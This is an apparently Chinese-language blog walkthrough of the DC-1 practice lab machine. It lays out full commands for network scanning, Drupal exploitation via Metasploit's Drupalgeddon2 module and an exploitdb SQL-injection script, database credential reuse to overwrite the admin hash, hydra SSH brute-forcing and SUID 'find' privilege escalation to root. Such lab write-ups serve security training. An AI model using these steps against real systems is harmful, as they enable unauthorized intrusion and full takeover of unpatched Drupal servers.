DC-1靶机渗透笔记

信息收集阶段

在拿到靶机并且安装在VMware之后并没有账号密码登录,所以无法使用ifconfig获取IP。
所以目前该做的应该是获取当前靶机的IP

1.1 收集IP信息

使用命令:nmap -T4 192.168.137.0/24 扫描当前网络的C段并且做一个服务探测

在这里插入图片描述

或者使用:arp-scan -l 主机发现,发现同一个C段下存活的主机

在这里插入图片描述

通过扫描得知靶机的IP为192.168.137.171并且开放了三个服务ssh、http、rpcbind

1.2 识别CMS

因为开放了Web站点,所以可以收集当前Web用的是什么CMS系统搭建,查询是否有关于该CMS的漏洞利用方式。

使用命令:cmseek -v -u http://192.168.137.171 查询当前Web站点的CMS系统

在这里插入图片描述

或者使用:whatweb http://192.168.137.171

在这里插入图片描述

能收集到这些信息:Apache:2.2.22、CMS:Drupal 7

漏洞利用阶段

开放的服务不多,不同于metasploitable2,所以可能入手点在Web站点中

访问站点:192.168.137.171 出现一个登录框

可能需要登录,但是不知道账密。下方存在一个注册和修改密码的按钮。

实测注册的按钮好像没啥用。由于没有账号或者密码,所以修改密码按钮好像也没啥用… …

由于我们上方找到了CMS:Drupal 7获取到这点相关信息可以在msf搜索是否存在相关的利用模块

Flag-1

- 为何是使用 drupal_drupalgeddon2 这个模块,而不是其他的模块呢?

- Drupalgeddon2是一个Drupal 7、Drupal 8中的一个严重漏洞,被编号为CVE-2018-7600。
  它允许在攻击者在未授权的情况下执行恶意的代码。
  
- 而 drupal_drupalgeddon2 这个模块就是利用的该漏洞,它可以通过特制的请求利用受影响的 Drupal 7 网站,
  执行远程代码并获取对目标系统的控制权。

- 具体来说,是Drupal中的update.php中存在漏洞,允许攻击者在请求中注入特定的数据来执行php的任意代码
  而攻击者构造的恶意请求中这些代码会被解释并且执行。

msf中存在一个Drupal 7、Drupal 8可利用的漏洞模块

进入msf查询相关漏洞模块

search drupal

在这里插入图片描述

use exploit/unix/webapp/drupal_drupalgeddon2:使用模块
set rhosts 192.168.137.171:设置目标机IP
run:运行
shell:切换到靶机原生命令行
python -c 'import pty;pty.spawn("/bin/bash")':提供更正常的交互式体验
cd /var/www
cat flag1.txt

在这里插入图片描述

Every good CMS needs a config file - and so do you.:任何的CMS都需要一个好的配置文件 - 你也是

Flag-2

从提示得知,我们需要一个配置文件。

从百度得知,Drupal的默认配置文件位置在site/default/settings.php

在这里插入图片描述

Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?:暴力和字典攻击并不是获得访问权限的唯一途径(你需要访问权限)。你能用这些凭据做什么?

Flag-3

目前好像对Flag-2的提示毫无头绪,但是在Flag-2的下方出现了一段关于SQL的配置信息:

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

在shell窗口内输入命令:mysql -udbuser -pR0ck3t进入数据库之后输入命令:
show databases;
use drupaldb;
show tables;
select * from users

在这里插入图片描述

获取到了admin的账号以及密码,但是很明显经过了加密,并且可能采取了加盐的手段。

账号:admin | 密码: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

尝试爆破这段加密的密文,使用暴力破解工具:hash-identifier,输入密文:

在这里插入图片描述

出现 Not Found 提示,说明爆破失败。验证了Flag-2处给的提示。

可能需要使用相同的加密手段来替换掉数据库中的密文。

方法1:

从根目录搜索所有有关于password的文件:find / -name *password*

在这里插入图片描述

出现一个password-hash.sh文件,有可能就是加密文件

输入命令:scripts/password-hash.sh 123456

获得加密之后的数据:在这里插入图片描述

进入MySQL替换admin的密码,输入命令:update users set pass=’$S$DA6bVJaSrS8my7Meq7LWe0yjPJa49IGmlcKqyw3V4vHSYlmW27c4‘ where uid = 1;

在这里插入图片描述

进入网页,在用户名处输入:admin,在密码处输入:123456成功登录

方法2:

db_nmap扫描80端口的时候出现了一个CVE编号:CVE-2014-3704

命令为:db_nmap -T4 --script=vuln -p 22,80,111 192.168.137.171

- 该CVE编号是Drupal CMS中的一个漏洞,通常称为"Drupalgeddon",它是Drupal 7.x - 7.32版本中存在的SQL注入漏洞。

- 而在Kali的exploitdb中有一个可以利用的脚本

- /usr/share/exploitdb/exploits/php/webapps/34992.py

使用命令:python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.137.171 -u admin2 -p admin2

可以直接绕过数据库的加密

在这里插入图片描述

成功登录Web站点之后可以在DashboardContent中查看到Flag-3

在这里插入图片描述
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.:特殊的排序将帮助查找密码,但您需要执行该命令才能找到阴影中的内容。

可能是提示我们需要去查找密码。

Flag-4

在靶机的命令行内输入命令:cat /etc/passwd

在这里插入图片描述

方法1:

由于存在一个flag4用户,所以可以从cd /home/flag4这个文件夹下/

使用命令:ls -l发现存在flag。

在这里插入图片描述

Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?:你能用同样的方法在根目录中查找或访问标志吗?可能但也许这并没有那么容易。或者可能是这样?

方法2:

除了上述方法之外,还可以使用爆破密码的方式,通过flag4用户的密码,使用ssh来登录。

使用命令:hydra -l flag4 -P 字典.txt ssh://192.168.137.171

在这里插入图片描述

获取密码:orange

使用命令连接:ssh flag4@192.168.137.171

在这里插入图片描述

Flag-5

通过flag4可以得知,题意应该是让我们进行一个提权的操作,flag5有可能藏在root用户的根目录下。

提权的方式有以下几种:

  1. Linux内核漏洞
  2. SUDO提权
  3. SUID提权
  4. 第三方服务提权(这些第三方应用可能是本身的配置不当,也有可能造成提权)
  5. 辅助工具(这些工具可以分析当前Linux内核的漏洞,并且在漏洞库中查询可以利用的相关exp,但是不一定能够使用)

使用SUID提权

该提权方式也是因为配置不当造成的,SUID = Set UID,以程序所有者的身份去运行程序

查询所有出现s权限的文件:

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec Is -ldb {}\;

在这里插入图片描述

使用find提权

使用命令:find . -type d -execdir /bin/sh \; 获取一个有root权限的shell

whoami:查看当前用户
cd /root:切换到root的工作目录
ls -l:查看目录下所有的文件

在这里插入图片描述

cat thefinalflag.txt:查看flag文件

Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey

完结撒花

作为一个对漏洞利用方式不是很懂的小菜,在做当前靶机渗透的时候遇到了很多困难,但是还是通过查询各位师傅的博客文章得到了解决
在做靶机渗透的时候虽然有很多思路,但是不知道该如何利用,还是有很多需要练习的地方… …

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值